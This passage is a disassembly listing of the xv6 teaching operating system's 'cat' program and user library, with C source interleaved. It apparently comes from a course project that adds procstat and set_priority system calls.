(%eax),%eax 9e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) a5: 00 a6: 89 04 24 mov %eax,(%esp) a9: e8 06 03 00 00 call 3b4 <open> ae: 89 44 24 18 mov %eax,0x18(%esp) b2: 83 7c 24 18 00 cmpl $0x0,0x18(%esp) b7: 79 29 jns e2 <main+0x7a> printf(1, "cat: cannot open %s\n", argv[i]); b9: 8b 44 24 1c mov 0x1c(%esp),%eax bd: c1 e0 02 shl $0x2,%eax c0: 03 45 0c add 0xc(%ebp),%eax c3: 8b 00 mov (%eax),%eax c5: 89 44 24 08 mov %eax,0x8(%esp) c9: c7 44 24 04 d0 08 00 movl $0x8d0,0x4(%esp) d0: 00 d1: c7 04 24 01 00 00 00 movl $0x1,(%esp) d8: e8 1e 04 00 00 call 4fb <printf> exit(); dd: e8 92 02 00 00 call 374 <exit> } cat(fd); e2: 8b 44 24 18 mov 0x18(%esp),%eax e6: 89 04 24 mov %eax,(%esp) e9: e8 12 ff ff ff call 0 <cat> close(fd); ee: 8b 44 24 18 mov 0x18(%esp),%eax f2: 89 04 24 mov %eax,(%esp) f5: e8 a2 02 00 00 call 39c <close> if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ fa: 83 44 24 1c 01 addl $0x1,0x1c(%esp) ff: 8b 44 24 1c mov 0x1c(%esp),%eax 103: 3b 45 08 cmp 0x8(%ebp),%eax 106: 7c 8a jl 92 <main+0x2a> exit(); } cat(fd); close(fd); } exit(); 108: e8 67 02 00 00 call 374 <exit> 10d: 90 nop 10e: 90 nop 10f: 90 nop 00000110 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 57 push %edi 114: 53 push %ebx asm volatile("cld; rep stosb" : 115: 8b 4d 08 mov 0x8(%ebp),%ecx 118: 8b 55 10 mov 0x10(%ebp),%edx 11b: 8b 45 0c mov 0xc(%ebp),%eax 11e: 89 cb mov %ecx,%ebx 120: 89 df mov %ebx,%edi 122: 89 d1 mov %edx,%ecx 124: fc cld 125: f3 aa rep stos %al,%es:(%edi) 127: 89 ca mov %ecx,%edx 129: 89 fb mov %edi,%ebx 12b: 89 5d 08 mov %ebx,0x8(%ebp) 12e: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 131: 5b pop %ebx 132: 5f pop %edi 133: 5d pop %ebp 134: c3 ret 00000135 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 135: 55 push %ebp 136: 89 e5 mov %esp,%ebp 138: 83 ec 10 sub $0x10,%esp char *os; os = s; 13b: 8b 45 08 mov 0x8(%ebp),%eax 13e: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 141: 90 nop 142: 8b 45 0c mov 0xc(%ebp),%eax 145: 0f b6 10 movzbl (%eax),%edx 148: 8b 45 08 mov 0x8(%ebp),%eax 14b: 88 10 mov %dl,(%eax) 14d: 8b 45 08 mov 0x8(%ebp),%eax 150: 0f b6 00 movzbl (%eax),%eax 153: 84 c0 test %al,%al 155: 0f 95 c0 setne %al 158: 83 45 08 01 addl $0x1,0x8(%ebp) 15c: 83 45 0c 01 addl $0x1,0xc(%ebp) 160: 84 c0 test %al,%al 162: 75 de jne 142 <strcpy+0xd> ; return os; 164: 8b 45 fc mov -0x4(%ebp),%eax } 167: c9 leave 168: c3 ret 00000169 <strcmp>: int strcmp(const char *p, const char *q) { 169: 55 push %ebp 16a: 89 e5 mov %esp,%ebp while(*p && *p == *q) 16c: eb 08 jmp 176 <strcmp+0xd> p++, q++; 16e: 83 45 08 01 addl $0x1,0x8(%ebp) 172: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 176: 8b 45 08 mov 0x8(%ebp),%eax 179: 0f b6 00 movzbl (%eax),%eax 17c: 84 c0 test %al,%al 17e: 74 10 je 190 <strcmp+0x27> 180: 8b 45 08 mov 0x8(%ebp),%eax 183: 0f b6 10 movzbl (%eax),%edx 186: 8b 45 0c mov 0xc(%ebp),%eax 189: 0f b6 00 movzbl (%eax),%eax 18c: 38 c2 cmp %al,%dl 18e: 74 de je 16e <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 190: 8b 45 08 mov 0x8(%ebp),%eax 193: 0f b6 00 movzbl (%eax),%eax 196: 0f b6 d0 movzbl %al,%edx 199: 8b 45 0c mov 0xc(%ebp),%eax 19c: 0f b6 00 movzbl (%eax),%eax 19f: 0f b6 c0 movzbl %al,%eax 1a2: 89 d1 mov %edx,%ecx 1a4: 29 c1 sub %eax,%ecx 1a6: 89 c8 mov %ecx,%eax } 1a8: 5d pop %ebp 1a9: c3 ret 000001aa <strlen>: uint strlen(char *s) { 1aa: 55 push %ebp 1ab: 89 e5 mov %esp,%ebp 1ad: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1b0: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 1b7: eb 04 jmp 1bd <strlen+0x13> 1b9: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1bd: 8b 45 fc mov -0x4(%ebp),%eax 1c0: 03 45 08 add 0x8(%ebp),%eax 1c3: 0f b6 00 movzbl (%eax),%eax 1c6: 84 c0 test %al,%al 1c8: 75 ef jne 1b9 <strlen+0xf> ; return n; 1ca: 8b 45 fc mov -0x4(%ebp),%eax } 1cd: c9 leave 1ce: c3 ret 000001cf <memset>: void* memset(void *dst, int c, uint n) { 1cf: 55 push %ebp 1d0: 89 e5 mov %esp,%ebp 1d2: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 1d5: 8b 45 10 mov 0x10(%ebp),%eax 1d8: 89 44 24 08 mov %eax,0x8(%esp) 1dc: 8b 45 0c mov 0xc(%ebp),%eax 1df: 89 44 24 04 mov %eax,0x4(%esp) 1e3: 8b 45 08 mov 0x8(%ebp),%eax 1e6: 89 04 24 mov %eax,(%esp) 1e9: e8 22 ff ff ff call 110 <stosb> return dst; 1ee: 8b 45 08 mov 0x8(%ebp),%eax } 1f1: c9 leave 1f2: c3 ret 000001f3 <strchr>: char* strchr(const char *s, char c) { 1f3: 55 push %ebp 1f4: 89 e5 mov %esp,%ebp 1f6: 83 ec 04 sub $0x4,%esp 1f9: 8b 45 0c mov 0xc(%ebp),%eax 1fc: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 1ff: eb 14 jmp 215 <strchr+0x22> if(*s == c) 201: 8b 45 08 mov 0x8(%ebp),%eax 204: 0f b6 00 movzbl (%eax),%eax 207: 3a 45 fc cmp -0x4(%ebp),%al 20a: 75 05 jne 211 <strchr+0x1e> return (char*)s; 20c: 8b 45 08 mov 0x8(%ebp),%eax 20f: eb 13 jmp 224 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 211: 83 45 08 01 addl $0x1,0x8(%ebp) 215: 8b 45 08 mov 0x8(%ebp),%eax 218: 0f b6 00 movzbl (%eax),%eax 21b: 84 c0 test %al,%al 21d: 75 e2 jne 201 <strchr+0xe> if(*s == c) return (char*)s; return 0; 21f: b8 00 00 00 00 mov $0x0,%eax } 224: c9 leave 225: c3 ret 00000226 <gets>: char* gets(char *buf, int max) { 226: 55 push %ebp 227: 89 e5 mov %esp,%ebp 229: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 22c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 233: eb 44 jmp 279 <gets+0x53> cc = read(0, &c, 1); 235: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 23c: 00 23d: 8d 45 ef lea -0x11(%ebp),%eax 240: 89 44 24 04 mov %eax,0x4(%esp) 244: c7 04 24 00 00 00 00 movl $0x0,(%esp) 24b: e8 3c 01 00 00 call 38c <read> 250: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 253: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 257: 7e 2d jle 286 <gets+0x60> break; buf[i++] = c; 259: 8b 45 f4 mov -0xc(%ebp),%eax 25c: 03 45 08 add 0x8(%ebp),%eax 25f: 0f b6 55 ef movzbl -0x11(%ebp),%edx 263: 88 10 mov %dl,(%eax) 265: 83 45 f4 01 addl $0x1,-0xc(%ebp) if(c == '\n' || c == '\r') 269: 0f b6 45 ef movzbl -0x11(%ebp),%eax 26d: 3c 0a cmp $0xa,%al 26f: 74 16 je 287 <gets+0x61> 271: 0f b6 45 ef movzbl -0x11(%ebp),%eax 275: 3c 0d cmp $0xd,%al 277: 74 0e je 287 <gets+0x61> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 279: 8b 45 f4 mov -0xc(%ebp),%eax 27c: 83 c0 01 add $0x1,%eax 27f: 3b 45 0c cmp 0xc(%ebp),%eax 282: 7c b1 jl 235 <gets+0xf> 284: eb 01 jmp 287 <gets+0x61> cc = read(0, &c, 1); if(cc < 1) break; 286: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 287: 8b 45 f4 mov -0xc(%ebp),%eax 28a: 03 45 08 add 0x8(%ebp),%eax 28d: c6 00 00 movb $0x0,(%eax) return buf; 290: 8b 45 08 mov 0x8(%ebp),%eax } 293: c9 leave 294: c3 ret 00000295 <stat>: int stat(char *n, struct stat *st) { 295: 55 push %ebp 296: 89 e5 mov %esp,%ebp 298: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 29b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2a2: 00 2a3: 8b 45 08 mov 0x8(%ebp),%eax 2a6: 89 04 24 mov %eax,(%esp) 2a9: e8 06 01 00 00 call 3b4 <open> 2ae: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 2b1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2b5: 79 07 jns 2be <stat+0x29> return -1; 2b7: b8 ff ff ff ff mov $0xffffffff,%eax 2bc: eb 23 jmp 2e1 <stat+0x4c> r = fstat(fd, st); 2be: 8b 45 0c mov 0xc(%ebp),%eax 2c1: 89 44 24 04 mov %eax,0x4(%esp) 2c5: 8b 45 f4 mov -0xc(%ebp),%eax 2c8: 89 04 24 mov %eax,(%esp) 2cb: e8 fc 00 00 00 call 3cc <fstat> 2d0: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 2d3: 8b 45 f4 mov -0xc(%ebp),%eax 2d6: 89 04 24 mov %eax,(%esp) 2d9: e8 be 00 00 00 call 39c <close> return r; 2de: 8b 45 f0 mov -0x10(%ebp),%eax } 2e1: c9 leave 2e2: c3 ret 000002e3 <atoi>: int atoi(const char *s) { 2e3: 55 push %ebp 2e4: 89 e5 mov %esp,%ebp 2e6: 83 ec 10 sub $0x10,%esp int n; n = 0; 2e9: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 2f0: eb 23 jmp 315 <atoi+0x32> n = n*10 + *s++ - '0'; 2f2: 8b 55 fc mov -0x4(%ebp),%edx 2f5: 89 d0 mov %edx,%eax 2f7: c1 e0 02 shl $0x2,%eax 2fa: 01 d0 add %edx,%eax 2fc: 01 c0 add %eax,%eax 2fe: 89 c2 mov %eax,%edx 300: 8b 45 08 mov 0x8(%ebp),%eax 303: 0f b6 00 movzbl (%eax),%eax 306: 0f be c0 movsbl %al,%eax 309: 01 d0 add %edx,%eax 30b: 83 e8 30 sub $0x30,%eax 30e: 89 45 fc mov %eax,-0x4(%ebp) 311: 83 45 08 01 addl $0x1,0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 315: 8b 45 08 mov 0x8(%ebp),%eax 318: 0f b6 00 movzbl (%eax),%eax 31b: 3c 2f cmp $0x2f,%al 31d: 7e 0a jle 329 <atoi+0x46> 31f: 8b 45 08 mov 0x8(%ebp),%eax 322: 0f b6 00 movzbl (%eax),%eax 325: 3c 39 cmp $0x39,%al 327: 7e c9 jle 2f2 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 329: 8b 45 fc mov -0x4(%ebp),%eax } 32c: c9 leave 32d: c3 ret 0000032e <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 32e: 55 push %ebp 32f: 89 e5 mov %esp,%ebp 331: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 334: 8b 45 08 mov 0x8(%ebp),%eax 337: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 33a: 8b 45 0c mov 0xc(%ebp),%eax 33d: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 340: eb 13 jmp 355 <memmove+0x27> *dst++ = *src++; 342: 8b 45 f8 mov -0x8(%ebp),%eax 345: 0f b6 10 movzbl (%eax),%edx 348: 8b 45 fc mov -0x4(%ebp),%eax 34b: 88 10 mov %dl,(%eax) 34d: 83 45 fc 01 addl $0x1,-0x4(%ebp) 351: 83 45 f8 01 addl $0x1,-0x8(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 355: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 359: 0f 9f c0 setg %al 35c: 83 6d 10 01 subl $0x1,0x10(%ebp) 360: 84 c0 test %al,%al 362: 75 de jne 342 <memmove+0x14> *dst++ = *src++; return vdst; 364: 8b 45 08 mov 0x8(%ebp),%eax } 367: c9 leave 368: c3 ret 369: 90 nop 36a: 90 nop 36b: 90 nop 0000036c <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 36c: b8 01 00 00 00 mov $0x1,%eax 371: cd 40 int $0x40 373: c3 ret 00000374 <exit>: SYSCALL(exit) 374: b8 02 00 00 00 mov $0x2,%eax 379: cd 40 int $0x40 37b: c3 ret 0000037c <wait>: SYSCALL(wait) 37c: b8 03 00 00 00 mov $0x3,%eax 381: cd 40 int $0x40 383: c3 ret 00000384 <pipe>: SYSCALL(pipe) 384: b8 04 00 00 00 mov $0x4,%eax 389: cd 40 int $0x40 38b: c3 ret 0000038c <read>: SYSCALL(read) 38c: b8 05 00 00 00 mov $0x5,%eax 391: cd 40 int $0x40 393: c3 ret 00000394 <write>: SYSCALL(write) 394: b8 12 00 00 00 mov $0x12,%eax 399: cd 40 int $0x40 39b: c3 ret 0000039c <close>: SYSCALL(close) 39c: b8 17 00 00 00 mov $0x17,%eax 3a1: cd 40 int $0x40 3a3: c3 ret 000003a4 <kill>: SYSCALL(kill) 3a4: b8 06 00 00 00 mov $0x6,%eax 3a9: cd 40 int $0x40 3ab: c3 ret 000003ac <exec>: SYSCALL(exec) 3ac: b8 07 00 00 00 mov $0x7,%eax 3b1: cd 40 int $0x40 3b3: c3 ret 000003b4 <open>: SYSCALL(open) 3b4: b8 11 00 00 00 mov $0x11,%eax 3b9: cd 40 int $0x40 3bb: c3 ret 000003bc <mknod>: SYSCALL(mknod) 3bc: b8 13 00 00 00 mov $0x13,%eax 3c1: cd 40 int $0x40 3c3: c3 ret 000003c4 <unlink>: SYSCALL(unlink) 3c4: b8 14 00 00 00 mov $0x14,%eax 3c9: cd 40 int $0x40 3cb: c3 ret 000003cc <fstat>: SYSCALL(fstat) 3cc: b8 08 00 00 00 mov $0x8,%eax 3d1: cd 40 int $0x40 3d3: c3 ret 000003d4 <link>: SYSCALL(link) 3d4: b8 15 00 00 00 mov $0x15,%eax 3d9: cd 40 int $0x40 3db: c3 ret 000003dc <mkdir>: SYSCALL(mkdir) 3dc: b8 16 00 00 00 mov $0x16,%eax 3e1: cd 40 int $0x40 3e3: c3 ret 000003e4 <chdir>: SYSCALL(chdir) 3e4: b8 09 00 00 00 mov $0x9,%eax 3e9: cd 40 int $0x40 3eb: c3 ret 000003ec <dup>: SYSCALL(dup) 3ec: b8 0a 00 00 00 mov $0xa,%eax 3f1: cd 40 int $0x40 3f3: c3 ret 000003f4 <getpid>: SYSCALL(getpid) 3f4: b8 0b 00 00 00 mov $0xb,%eax 3f9: cd 40 int $0x40 3fb: c3 ret 000003fc <sbrk>: SYSCALL(sbrk) 3fc: b8 0c 00 00 00 mov $0xc,%eax 401: cd 40 int $0x40 403: c3 ret 00000404 <sleep>: SYSCALL(sleep) 404: b8 0d 00 00 00 mov $0xd,%eax 409: cd 40 int $0x40 40b: c3 ret 0000040c <uptime>: SYSCALL(uptime) 40c: b8 0e 00 00 00 mov $0xe,%eax 411: cd 40 int $0x40 413: c3 ret 00000414 <procstat>: # Modificado declaramos una nueva llamada al sistema SYSCALL(procstat) 414: b8 0f 00 00 00 mov $0xf,%eax 419: cd 40 int $0x40 41b: c3 ret 0000041c <set_priority>: # Modificado declaramos una nueva llamada al sistema SYSCALL(set_priority) 41c: b8 10 00 00 00 mov $0x10,%eax 421: cd 40 int $0x40 423: c3 ret 00000424 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 424: 55 push %ebp 425: 89 e5 mov %esp,%ebp 427: 83 ec 28 sub $0x28,%esp 42a: 8b 45 0c mov 0xc(%ebp),%eax 42d: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 430: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 437: 00 438: 8d 45 f4 lea -0xc(%ebp),%eax 43b: 89 44 24 04 mov %eax,0x4(%esp) 43f: 8b 45 08 mov 0x8(%ebp),%eax 442: 89 04 24 mov %eax,(%esp) 445: e8 4a ff ff ff call 394 <write> } 44a: c9 leave 44b: c3 ret 0000044c <printint>: static void printint(int fd, int xx, int base, int sgn) { 44c: 55 push %ebp 44d: 89 e5 mov %esp,%ebp 44f: 83 ec 48 sub $0x48,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 452: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 459: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 45d: 74 17 je 476 <printint+0x2a> 45f: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 463: 79 11 jns 476 <printint+0x2a> neg = 1; 465: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 46c: 8b 45 0c mov 0xc(%ebp),%eax 46f: f7 d8 neg %eax 471: 89 45 ec mov %eax,-0x14(%ebp) 474: eb 06 jmp 47c <printint+0x30> } else { x = xx; 476: 8b 45 0c mov 0xc(%ebp),%eax 479: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 47c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 483: 8b 4d 10 mov 0x10(%ebp),%ecx 486: 8b 45 ec mov -0x14(%ebp),%eax 489: ba 00 00 00 00 mov $0x0,%edx 48e: f7 f1 div %ecx 490: 89 d0 mov %edx,%eax 492: 0f b6 90 48 0b 00 00 movzbl 0xb48(%eax),%edx 499: 8d 45 dc lea -0x24(%ebp),%eax 49c: 03 45 f4 add -0xc(%ebp),%eax 49f: 88 10 mov %dl,(%eax) 4a1: 83 45 f4 01 addl $0x1,-0xc(%ebp) }while((x /= base) != 0); 4a5: 8b 55 10 mov 0x10(%ebp),%edx 4a8: 89 55 d4 mov %edx,-0x2c(%ebp) 4ab: 8b 45 ec mov -0x14(%ebp),%eax 4ae: ba 00 00 00 00 mov $0x0,%edx 4b3: f7 75 d4 divl -0x2c(%ebp) 4b6: 89 45 ec mov %eax,-0x14(%ebp) 4b9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 4bd: 75 c4 jne 483 <printint+0x37> if(neg) 4bf: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4c3: 74 2a je 4ef <printint+0xa3> buf[i++] = '-'; 4c5: 8d 45 dc lea -0x24(%ebp),%eax 4c8: 03 45 f4 add -0xc(%ebp),%eax 4cb: c6 00 2d movb $0x2d,(%eax) 4ce: 83 45 f4 01 addl $0x1,-0xc(%ebp) while(--i >= 0) 4d2: eb 1b jmp 4ef <printint+0xa3> putc(fd, buf[i]); 4d4: 8d 45 dc lea -0x24(%ebp),%eax 4d7: 03 45 f4 add -0xc(%ebp),%eax 4da: 0f b6 00 movzbl (%eax),%eax 4dd: 0f be c0 movsbl %al,%eax 4e0: 89 44 24 04 mov %eax,0x4(%esp) 4e4: 8b 45 08 mov 0x8(%ebp),%eax 4e7: 89 04 24 mov %eax,(%esp) 4ea: e8 35 ff ff ff call 424 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4ef: 83 6d f4 01 subl $0x1,-0xc(%ebp) 4f3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4f7: 79 db jns 4d4 <printint+0x88> putc(fd, buf[i]); } 4f9: c9 leave 4fa: c3 ret 000004fb <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 4fb: 55 push %ebp 4fc: 89 e5 mov %esp,%ebp 4fe: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 501: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 508: 8d 45 0c lea 0xc(%ebp),%eax 50b: 83 c0 04 add $0x4,%eax 50e: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 511: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 518: e9 7d 01 00 00 jmp 69a <printf+0x19f> c = fmt[i] & 0xff; 51d: 8b 55 0c mov 0xc(%ebp),%edx 520: 8b 45 f0 mov -0x10(%ebp),%eax 523: 01 d0 add %edx,%eax 525: 0f b6 00 movzbl (%eax),%eax 528: 0f be c0 movsbl %al,%eax 52b: 25 ff 00 00 00 and $0xff,%eax 530: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 533: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 537: 75 2c jne 565 <printf+0x6a> if(c == '%'){ 539: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 53d: 75 0c jne 54b <printf+0x50> state = '%'; 53f: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 546: e9 4b 01 00 00 jmp 696 <printf+0x19b> } else { putc(fd, c); 54b: 8b 45 e4 mov -0x1c(%ebp),%eax 54e: 0f be c0 movsbl %al,%eax 551: 89 44 24 04 mov %eax,0x4(%esp) 555: 8b 45 08 mov 0x8(%ebp),%eax 558: 89 04 24 mov %eax,(%esp) 55b: e8 c4 fe ff ff call 424 <putc> 560: e9 31 01 00 00 jmp 696 <printf+0x19b> } } else if(state == '%'){ 565: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 569: 0f 85 27 01 00 00 jne 696 <printf+0x19b> if(c == 'd'){ 56f: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 573: 75 2d jne 5a2 <printf+0xa7> printint(fd, *ap, 10, 1); 575: 8b 45 e8 mov -0x18(%ebp),%eax 578: 8b 00 mov (%eax),%eax 57a: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 581: 00 582: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 589: 00 58a: 89 44 24 04 mov %eax,0x4(%esp) 58e: 8b 45 08 mov 0x8(%ebp),%eax 591: 89 04 24 mov %eax,(%esp) 594: e8 b3 fe ff ff call 44c <printint> ap++; 599: 83 45 e8 04 addl $0x4,-0x18(%ebp) 59d: e9 ed 00 00 00 jmp 68f <printf+0x194> } else if(c == 'x' || c == 'p'){ 5a2: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 5a6: 74 06 je 5ae <printf+0xb3> 5a8: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 5ac: 75 2d jne 5db <printf+0xe0> printint(fd, *ap, 16, 0); 5ae: 8b 45 e8 mov -0x18(%ebp),%eax 5b1: 8b 00 mov (%eax),%eax 5b3: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 5ba: 00 5bb: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 5c2: 00 5c3: 89 44 24 04 mov %eax,0x4(%esp) 5c7: 8b 45 08 mov 0x8(%ebp),%eax 5ca: 89 04 24 mov %eax,(%esp) 5cd: e8 7a fe ff ff call 44c <printint> ap++; 5d2: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5d6: e9 b4 00 00 00 jmp 68f <printf+0x194> } else if(c == 's'){ 5db: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 5df: 75 46 jne 627 <printf+0x12c> s = (char*)*ap; 5e1: 8b 45 e8 mov -0x18(%ebp),%eax 5e4: 8b 00 mov (%eax),%eax 5e6: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 5e9: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 5ed: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 5f1: 75 27 jne 61a <printf+0x11f> s = "(null)"; 5f3: c7 45 f4 e5 08 00 00 movl $0x8e5,-0xc(%ebp) while(*s != 0){ 5fa: eb 1e jmp 61a <printf+0x11f> putc(fd, *s); 5fc: 8b 45 f4 mov -0xc(%ebp),%eax 5ff: 0f b6 00 movzbl (%eax),%eax 602: 0f be c0 movsbl %al,%eax 605: 89 44 24 04 mov %eax,0x4(%esp) 609: 8b 45 08 mov 0x8(%ebp),%eax 60c: 89 04 24 mov %eax,(%esp) 60f: e8 10 fe ff ff call 424 <putc> s++; 614: 83 45 f4 01 addl $0x1,-0xc(%ebp) 618: eb 01 jmp 61b <printf+0x120> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 61a: 90 nop 61b: 8b 45 f4 mov -0xc(%ebp),%eax 61e: 0f b6 00 movzbl (%eax),%eax 621: 84 c0 test %al,%al 623: 75 d7 jne 5fc <printf+0x101> 625: eb 68 jmp 68f <printf+0x194> putc(fd, *s); s++; } } else if(c == 'c'){ 627: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 62b: 75 1d jne 64a <printf+0x14f> putc(fd, *ap); 62d: 8b 45 e8 mov -0x18(%ebp),%eax 630: 8b 00 mov (%eax),%eax 632: 0f be c0 movsbl %al,%eax 635: 89 44 24 04 mov %eax,0x4(%esp) 639: 8b 45 08 mov 0x8(%ebp),%eax 63c: 89 04 24 mov %eax,(%esp) 63f: e8 e0 fd ff ff call 424 <putc> ap++; 644: 83 45 e8 04 addl $0x4,-0x18(%ebp) 648: eb 45 jmp 68f <printf+0x194> } else if(c == '%'){ 64a: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 64e: 75 17 jne 667 <printf+0x16c> putc(fd, c); 650: 8b 45 e4 mov -0x1c(%ebp),%eax 653: 0f be c0 movsbl %al,%eax 656: 89 44 24 04 mov %eax,0x4(%esp) 65a: 8b 45 08 mov 0x8(%ebp),%eax 65d: 89 04 24 mov %eax,(%esp) 660: e8 bf fd ff ff call 424 <putc> 665: eb 28 jmp 68f <printf+0x194> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 667: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 66e: 00 66f: 8b 45 08 mov 0x8(%ebp),%eax 672: 89 04 24 mov %eax,(%esp) 675: e8 aa fd ff ff call 424 <putc> putc(fd, c); 67a: 8b 45 e4 mov -0x1c(%ebp),%eax 67d: 0f be c0 movsbl %al,%eax 680: 89 44 24 04 mov %eax,0x4(%esp) 684: 8b 45 08 mov 0x8(%ebp),%eax 687: 89 04 24 mov %eax,(%esp) 68a: e8 95 fd ff ff call 424 <putc> } state = 0; 68f: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 696: 83 45 f0 01 addl $0x1,-0x10(%ebp) 69a: 8b 55 0c mov 0xc(%ebp),%edx 69d: 8b 45 f0 mov -0x10(%ebp),%eax 6a0: 01 d0 add %edx,%eax 6a2: 0f b6 00 movzbl (%eax),%eax 6a5: 84 c0 test %al,%al 6a7: 0f 85 70 fe ff ff jne 51d <printf+0x22> putc(fd, c); } state = 0; } } } 6ad: c9 leave 6ae: c3 ret 6af: 90 nop 000006b0 <free>: static Header base; static Header *freep; void free(void *ap) { 6b0: 55 push %ebp 6b1: 89 e5 mov %esp,%ebp 6b3: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 6b6: 8b 45 08 mov 0x8(%ebp),%eax 6b9: 83 e8 08 sub $0x8,%eax 6bc: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6bf: a1 68 0b 00 00 mov 0xb68,%eax 6c4: 89 45 fc mov %eax,-0x4(%ebp) 6c7: eb 24 jmp 6ed <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6c9: 8b 45 fc mov -0x4(%ebp),%eax 6cc: 8b 00 mov (%eax),%eax 6ce: 3b 45 fc cmp -0x4(%ebp),%eax 6d1: 77 12 ja 6e5 <free+0x35> 6d3: 8b 45 f8 mov -0x8(%ebp),%eax 6d6: 3b 45 fc cmp -0x4(%ebp),%eax 6d9: 77 24 ja 6ff <free+0x4f> 6db: 8b 45 fc mov -0x4(%ebp),%eax 6de: 8b 00 mov (%eax),%eax 6e0: 3b 45 f8 cmp -0x8(%ebp),%eax 6e3: 77 1a ja 6ff <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6e5: 8b 45 fc mov -0x4(%ebp),%eax 6e8: 8b 00 mov (%eax),%eax 6ea: 89 45 fc mov %eax,-0x4(%ebp) 6ed: 8b 45 f8 mov 